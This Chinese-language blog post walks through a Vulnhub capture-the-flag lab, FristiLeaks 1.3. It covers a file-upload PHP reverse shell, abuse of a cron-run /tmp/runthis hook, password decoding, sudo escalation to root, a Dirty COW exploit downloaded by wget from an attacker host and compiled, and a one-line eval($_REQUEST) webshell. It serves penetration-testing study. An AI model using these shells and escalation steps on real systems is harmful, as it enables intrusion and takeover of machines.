【甄选靶场】Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

本文详细记录了针对FristiLeaks_1.3靶场的渗透测试过程,包括文件上传、Py脚本改写、sudo提权、脏牛提权等多种技术手段。

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月18日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

配置靶场

在这里插入图片描述

右键设置->网络适配器->高级,更改MAC地址为
08:00:27:A5:A6:76

在这里插入图片描述

然后再开机靶场,就可以看到ip了

1.服务发现

在这里插入图片描述

2.web突破

1.页面信息收集

恕我直言,我一开始啥也没搜集到,爆破目录只爆破出来一个robots.txt
看了一下,各种组合都访问不到,甚至做了本地host
直到我开始尝试页面那四个单词

在这里插入图片描述在这里插入图片描述

192.168.247.145/fristi
这是个页面,我绝绝子

在这里插入图片描述

看到登陆页面第一个想到

  1. 弱口令
  2. sql注入
  3. 页面信息枚举搜集泄露的密码

sql注入有点麻烦,我就试了弱口令,失败,那就查看一下页面信息,没有的话用cewl爬一下,实在不行再考虑sql

在这里插入图片描述

于是我打开了源码,先看到了一个用户

在这里插入图片描述

如此显眼的base64,不需要上面的提示我都知道,hhhhh天才

在这里插入图片描述

果断解码,一个是个图片,一个是乱码

在这里插入图片描述

是个图片,里面的应该是密码,但是我还是查看一下16进制信息,防止坑

strings from_the-x.png

在这里插入图片描述

2.脆弱服务突破

啥也没有,那密码就是那个一大串,然后登陆

在这里插入图片描述

文件上传的口子,啥也不想的,直接先用kali自带的php脚本搞上去,顺便加上 GIF89a 这个头(在php脚本里加)

locate php-reverse-shell.php   
----这个属于常识,我们要对kali自带的有好多种脚本熟悉,最起码记得个大概
cp xxxxxxxxxxxxxxxxxxxxxxxx .
gedit php-reverse-shell.php
再把后缀改成.jpg


文件里面要改的喔,IP和端口改成自己的


本地还要开一个对应的端口接shell喔

上传成功,提示说在/uploads这个目录下

在这里插入图片描述

但是访问失败

在这里插入图片描述

并且看下面那个图,没有转圈,说明根本就没执行,这就说明它因为解析jpg失败(因为他实际上是php),所以直接不解析。真是个懒逼。。。

  • WINDOWS呢是这样,如果有多个后缀,那他就从最后一个往回执行,直到成功解析,多后缀名绕过也是一种常见但是目前也基本没有活路的绕过方式啦

在这里插入图片描述

再执行
发现绕圈圈
本地的端口也接到了shell
那么就开始内网环节

3.webshell小技巧

https://github.com/melbinkm/PHPImageShell

直接上传该php的shell,可以运行command命令框!
然后执行python那些的反弹啊啥的都行了就

2.内网突破

1.内网信息再次收集

先上传提权3脚本,以前的博客有写,这里就不写了
我的终端不知道为什么是这样,可能是做了安全限制,一般解决办法就是本地写好然后复制粘贴

python -c 'import pty;pty.spawn ("/bin/bash")'  --生成稳定终端

在这里插入图片描述

然后就是枯燥的翻找,不过靶场一般还好,最多到上一级父目录就能发现下一步突破口了

在/home/eezeepz目录下发现:notes.txt文件

在这里插入图片描述

发现,翻译

2.内网脆弱服务突破

在这里插入图片描述

就是说意思是说如果正在运行脚本,则该脚本将在/tmp目录中以admin身份执行任何命令(如果位于runthis的文件中),所以只需要执行一个命令,使用/tmp/runthis文件技巧就可以访问/admin/文件(还有每个文件一分钟后才生效…)

先去user/bin看一下

在这里插入图片描述

没啥用,就一堆函数
那接下来就是要执行命令,利用他给的提示,给我们的apache服务权限,因为我们是通过apache搞进来的,所以我们就是apache用户,或者你要问我增麽知道是apache的,这个不重要或者告诉你说:第三张图nmap扫出来的?不重要

echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis   
---对apache赋权admin用户权限
ls -l /home/admin
cat /home/admin/cryptedpass.txt  发现信息:mVGZ3O3omkJLmy2pcuTq
cat /home/admin/whoisyourgodnow.txt  发现信息:=RFn0AKnlMHMPIzpyuTI0ITG


以及下面一个py文件
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

在这里插入图片描述

经过实际操作,他给的源码有问题,报错,那我们稍微修改一下

在这里插入图片描述

他给的:
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

我们写的,这些注释记得删掉,不然报错
python
import base64,codecs,sys      ------一样的       
// ---使用python导入base64,codecs,sys模块module!
rot13Str = "mVGZ3O3omkJLmy2pcuTq"  ----rot135str是我的自定义变量,输入密文
base64Str = codecs.decode(rot13Str[::-1], 'rot13') 
// --用codecs编码转换[::-1],decode编码转换rot13
clearTextStr = base64.b64decode(base64Str)   
// ---base64Str进行decode进行base64解码
print (clearTextStr)         
 //---打印出clearTextStr

总的来说就是依据现有规则做二创

在这里插入图片描述

成功,另一个同理,修改一下py文件就行

获得的两个密码:
thisisalsopw123
LetThereBeFristi!

到这里的话,我们还剩什么用户没有登陆了呢?剩一个admin,剩一个fristigod
这是刚才提权脚本扫出来的。。。

先登录admin用户,看一下能不能sudo提权

sudo -l  
提示:Sorry, user admin may not run sudo on 16-FristiLeaks_1.

在这里插入图片描述

2.sudo提权

不能用那就换一个

sudo -l 
提示:(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
直接将用户sudo用做fristi来访问/var/fristigod/.secret_admin_stuff/doCom:

那我们就按照他说的做呗

sudo /var/fristigod/.secret_admin_stuff/doCom su -
Sorry, user fristigod is not allowed to execute '/var/fristigod/.secret_admin_stuff/doCom su -' as root on 16-FristiLeaks_1.3.
翻译:不允许用户fristigod以root权限运行!

到这似乎已经是死路一条了,但是
在查看/var/fristigod目录下的cat .bash_history发现了历史命令:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
获得root权限!

或者将/bin/bash附加到doCom也行:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
获得root权限!

在这里插入图片描述
在这里插入图片描述

3.脏牛提权

内网信息收集的时候脚本跑出来的

wget http://10.211.55.19:8081/40839.c
gcc -pthread 40839.c -o dayu -lcrypt
chmod +x rong
./rong rong
执行完提示将firefart密码修改为rong为root权限!
su firefart
rong
然后就获得root权限了!

4.源码获取

GIF98
<?php eval($_REQUEST[1]);?>
cp /var/www/html/fristi/uploads

tar -zcvf web.tar.gz /var/www/html/*

cp web.tar.gz /var/www/html/fristi/uploads

这时候就可以download源码下来了!丢到seay里面去审计!

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值